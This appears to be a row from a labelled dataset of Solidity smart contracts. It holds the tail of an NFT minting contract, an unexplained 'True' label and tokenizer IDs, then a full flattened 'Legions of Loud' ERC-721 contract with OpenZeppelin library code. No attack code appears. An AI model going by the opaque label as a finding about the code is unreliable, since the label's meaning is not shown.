limitTokensToMint(_amountToMint) { _mintMultiple(_amountToMint); } function mintReserved(uint256 _amountToMint) public onlyOwner limitSupply(_amountToMint) { _mintMultiple(_amountToMint); } function _baseURI() internal view override returns (string memory) { return _apiURI; } function setBaseURI(string memory _uri) public onlyOwner { _apiURI = _uri; } function toggleMintingStatus() public onlyOwner { _isMintingAllowed = !_isMintingAllowed; } function setMaxAmountToMint(uint256 maxAmountToMint) public onlyOwner { _maxAmountToMint = maxAmountToMint; } function setMaxAmountToHold(uint256 maxAmountToHold) public onlyOwner { _maxAmountToHold = maxAmountToHold; } function setItemPrice(uint256 _price) public onlyOwner { _itemPrice = _price; } function setMaxSupply(uint256 _supply) public onlyOwner { _maxSupply = _supply; } function withdrawParitial() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function releaseAll() public onlyOwner { for (uint256 sh = 0; sh < _shareholders.length; sh++) { address payable wallet = payable(_shareholders[sh]); release(wallet); } } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 29464, 11890, 16048, 2629, 1063, 3853, 6753, 18447, 2121, 12172, 1006, 27507, 2549, 8278, 3593, 1007, 6327, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 8278, 29464, 11890, 2581, 17465, 2003, 29464, 11890, 16048, 2629, 1063, 2724, 4651, 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//Contract based on https://docs.openzeppelin.com/contracts/4.x/erc721 // SPDX-License-Identifier: MIT pragma solidity ^0.8.8 < 0.9.0; //OpenZeppelin contract/token imports import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; //Contract instantiation contract LegionsOfLoud is ERC721Enumerable, Ownable, ReentrancyGuard { using ECDSA for bytes32; mapping(string => bool) private _usedNonces; address private _signerAddress = 0xF5FF2CC2Ee8b4eA2C03F0cf0c93fd3a867Da9E8A; // Contract wallet uint public constant lolBadges = 7200; // Total number of token ID's uint256 private _priceOfToken = 69000000000000000; // Total cost per token minted is 0.069 ETH string private _tokenURIBaseURL = "https://api.legionsofloud.com/meta/"; //Base URL of token metadata bool public tokenSale = true; // True means sale is active, false means sale is not active. constructor() ERC721("Legions of Loud", "LOL") {} function hashTransaction(address sender, uint256 qty, string memory nonce) private pure returns(bytes32) { bytes32 hash = keccak256(abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(sender, qty, nonce))) ); return hash; } function matchAddresSigner(bytes32 hash, bytes memory signature) private view returns(bool) { return _signerAddress == hash.recover(signature); } function setSignerAddress(address addr) external onlyOwner { _signerAddress = addr; } function reUp(bytes memory signature, string memory nonce, uint256 token_quantity) external payable nonReentrant { require(matchAddresSigner(hashTransaction(msg.sender, token_quantity, nonce), signature), "DIRECT MINT IS NOT ALLOWED please visit www.legionsofloud.com"); require(!_usedNonces[nonce], "HASH USED"); _usedNonces[nonce] = true; require(token_quantity + totalSupply() <= lolBadges, "The max amount of tokens has been reached, per contract."); require(tokenSale, "Tokens are not for sale."); require(token_quantity <= 20, "The token amount entered is above the allowable limit of 20 per transaction. Please enter a lesser amount."); require(msg.value >= tokenPrice(token_quantity), "You have insufficient funds."); for (uint i = 0; i < token_quantity; i++) { _safeMint(msg.sender, totalSupply() + 1); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override { super._beforeTokenTransfer(from, to, tokenId); } function walletOfOwner(address _owner) external view returns(uint256[] memory) { uint tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint i = 0; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function tokenOnSale(bool _isTokenSale) public onlyOwner { tokenSale = _isTokenSale; } function _baseURI() internal view virtual override returns (string memory) { return _tokenURIBaseURL; } function setBaseURI(string memory baseURI) public onlyOwner { _tokenURIBaseURL = baseURI; } function tokenPrice(uint token_quantity) public view returns (uint256) { return _priceOfToken * token_quantity; } // Just in case ETH does some crazy stuff function setPrice(uint256 _newPrice) public onlyOwner() { _priceOfToken = _newPrice; } function getPrice() public view returns (uint256){ return _priceOfToken; } // Contract Payout Structure address constant dev1Address = 0x9F90601582eD28922a81156a60aad0cf0fd69203; // Dev 1 address address constant dev2Address = 0xC7067F6Ed87F0fd8D5Cc47AD0F0C0b512a3CC275; // Dev 2 address address constant owner2Address = 0x70716Bd3E3E46e93E220E92045af42F2907Bbb9B; // Owner 2 address address constant artAddress = 0x80528F38843d19eCf558df2655354c99F05731a3; // Artist address uint constant dev1Fee = 13; uint constant dev2Fee = 12; uint constant artFee = 10; uint constant owner2Fee = 32; uint private constant sumShare = 100; function withdraw() public payable onlyOwner { uint256 balance = address(this).balance; uint dev1Transfer = (balance * dev1Fee)/sumShare; uint dev2Transfer = (balance * dev2Fee)/sumShare; uint artTransfer = (balance * artFee)/sumShare; uint owner2Transfer = (balance * owner2Fee)/sumShare; uint partnerTransfer = balance - (dev1Transfer + dev2Transfer + artTransfer + owner2Transfer); payable(dev1Address).transfer(dev1Transfer); payable(dev2Address).transfer(dev2Transfer); payable(artAddress).transfer(artTransfer); payable(owner2Address).transfer(owner2Transfer); payable(msg.sender).transfer(partnerTransfer); require(address(this).balance == 0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. / library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ / function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /* * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /* * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ / function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /* * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ / function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /* * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ / function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /* * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. / function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /* * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /* * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. / function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function 